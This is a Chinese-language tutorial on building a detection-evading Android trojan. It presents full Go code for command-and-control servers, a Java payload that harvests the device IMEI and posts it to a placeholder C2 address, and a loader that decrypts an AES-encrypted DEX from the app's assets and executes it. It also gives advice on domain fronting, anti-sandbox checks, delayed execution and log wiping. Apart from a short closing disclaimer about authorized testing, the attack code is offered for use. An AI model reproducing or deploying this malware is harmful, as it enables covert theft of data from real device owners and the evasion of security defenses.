0x01 攻击背后的逻辑
在移动端攻击中,植入式木马攻击一直是一种高效的方式,特别是在针对特定目标展开的APT攻击中,能够绕过检测的木马往往是红队的利器。移动设备由于其独特的封闭性和资源限制,给攻击者带来了更多的挑战,但同时也提供了不少机会。本文将从技术原理出发,结合真实案例,逐步展示如何构造一个针对安卓系统的免杀木马,并实现高效的持久化。
安卓系统的木马免杀,核心在于如何规避静态特征匹配与动态行为分析。大多数杀毒软件(AV)和EDR产品的检测逻辑分为以下几类:
- 静态检测:签名特征匹配、字符串内容扫描、DEX文件结构分析。
- 动态分析:沙箱中执行App,观察其恶意行为,如隐私数据访问、命令与控制(C2)通信。
- 网络流量检测:对恶意流量特征进行分析,判断木马是否向外发送敏感数据。
为绕过上述检测逻辑,攻击者需要从代码混淆、动态加载、反沙箱、流量伪装等多方面下手。接下来,我们会通过完整的攻击链和代码实例,逐步拆解如何实现一个高度隐匿的安卓木马。
---

0x02 环境搭建与基础准备
为了进行实验,我们需要一个安卓开发环境,以及一个用于测试的C2服务器。以下是准备步骤:
安装工具链
- Android Studio:用于开发和调试安卓应用。
- Frida 和 Objection(可选):用于动态调试目标应用。
- Apktool:反编译和重打包APK文件。
- openssl:生成SSL证书,用于加密C2流量。
配置C2服务器
我们将使用一个简单的Go编写的HTTP服务器作为C2端。服务器会接收木马回传的目标设备信息及其他数据。
以下为C2服务器代码示例:
<pre><code class="language-go">package main
import ( "fmt" "net/http" "time" )
func handler(w http.ResponseWriter, r *http.Request) { fmt.Println("New connection from:", r.RemoteAddr) r.ParseForm() for key, value := range r.Form { fmt.Printf("Received %s: %s\n", key, value) } w.Write([]byte("OK")) }
func main() { http.HandleFunc("/data", handler) server := &http.Server{ Addr: ":8080", ReadTimeout: 10 time.Second, WriteTimeout: 10 time.Second, MaxHeaderBytes: 1 << 20, } fmt.Println("Starting C2 server on port 8080...") server.ListenAndServe() }</code></pre>
启动C2服务器: <pre><code class="language-bash">go run c2_server.go</code></pre>
C2将监听8080端口,并接收来自木马的POST请求。
---
0x03 DEX动态加载的隐匿技巧
安卓APK的DEX文件(Dalvik Executable)是应用的核心执行代码文件。大多数杀毒软件会对DEX文件进行静态分析,因此直接将恶意代码写入DEX是很容易被识别的。为了规避静态检测,我们可以采用以下技术:
技术实现:DEX动态加载
核心思路是,将恶意逻辑从主APK中剥离出来,以加密后的形式存储在资源文件中,运行时解密并动态加载。
以下为实现步骤:
- 将恶意代码独立成一个DEX文件。
- 使用AES对该DEX文件进行加密。
- 将加密后的文件作为资源文件打包到主APK中。
- 在运行时解密并加载DEX。

恶意DEX代码示例
下面是一个简单的恶意DEX代码,它会收集目标设备的IMEI并上传到C2。
<pre><code class="language-java">package com.example.malicious;
import android.content.Context; import android.telephony.TelephonyManager; import java.io.OutputStream; import java.net.HttpURLConnection; import java.net.URL;
public class MaliciousPayload { public static void execute(Context context) { try { TelephonyManager tm = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE); String imei = tm.getDeviceId();
URL url = new URL("http://<C2_SERVER_IP>:8080/data"); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setRequestMethod("POST"); conn.setDoOutput(true); OutputStream os = conn.getOutputStream(); os.write(("imei=" + imei).getBytes()); os.flush(); os.close(); conn.getResponseCode(); } catch (Exception e) { e.printStackTrace(); } } }</code></pre>
主APK中动态加载DEX的代码
在主APK中,通过以下代码实现资源解密和加载:
<pre><code class="language-java">package com.example.stealth;
import android.content.Context; import dalvik.system.DexClassLoader; import java.io.File; import java.io.FileOutputStream; import java.io.InputStream; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec;
public class DexLoader { private static final String KEY = "1234567890123456"; // AES密钥
public static void loadDex(Context context) { try { // 解密存储在assets中的DEX文件 InputStream is = context.getAssets().open("payload.dex.enc"); byte[] encrypted = new byte[is.available()]; is.read(encrypted);
Cipher cipher = Cipher.getInstance("AES"); cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(KEY.getBytes(), "AES")); byte[] decrypted = cipher.doFinal(encrypted);
// 将解密后的DEX写入临时文件 File dexFile = new File(context.getFilesDir(), "payload.dex"); FileOutputStream fos = new FileOutputStream(dexFile); fos.write(decrypted); fos.close();
// 加载DEX文件并调用恶意方法 DexClassLoader dexClassLoader = new DexClassLoader( dexFile.getAbsolutePath(), context.getCacheDir().getAbsolutePath(), null, context.getClassLoader() ); Class<?> clazz = dexClassLoader.loadClass("com.example.malicious.MaliciousPayload"); clazz.getMethod("execute", Context.class).invoke(null, context); } catch (Exception e) { e.printStackTrace(); } } }</code></pre>
---
0x04 流量伪装与C2通信隐藏
即使我们成功绕过了静态检测,C2通信依然可能被网络流量分析所捕获。为了规避流量特征分析,我们需要对C2通信进行伪装。
SSL加密与域前置
- 使用自签名SSL证书加密所有通信。
- 利用域前置技术,将木马流量伪装成合法的HTTPS流量。
以下为伪装通信的Go示例:
<pre><code class="language-go">package main
import ( "crypto/tls" "fmt" "io/ioutil" "net/http" )

func handler(w http.ResponseWriter, r *http.Request) { body, _ := ioutil.ReadAll(r.Body) fmt.Printf("Received data: %s\n", string(body)) w.Write([]byte("OK")) }
func main() { http.HandleFunc("/", handler) server := &http.Server{ Addr: ":443", TLSConfig: &tls.Config{ MinVersion: tls.VersionTLS12, }, } fmt.Println("Starting HTTPS C2 server...") server.ListenAndServeTLS("server.crt", "server.key") }</code></pre>
在客户端的木马中,通信代码需要使用HTTPS协议并伪造合法的域名头。
---
0x05 个人经验分享
- 反沙箱检测:通过检查设备的硬件特征(如传感器数量)判断是否在虚拟环境中运行。
- 延迟执行:通过设置随机延迟,绕过动态分析的时间窗口。
- 多层加密:对代码和流量进行多层加密,提高逆向难度。
- 日志清除:执行完恶意操作后,清除相关日志,减少曝光概率。
---
> 声明:本文仅供授权的安全测试和研究用途,未经授权请勿用于非法操作。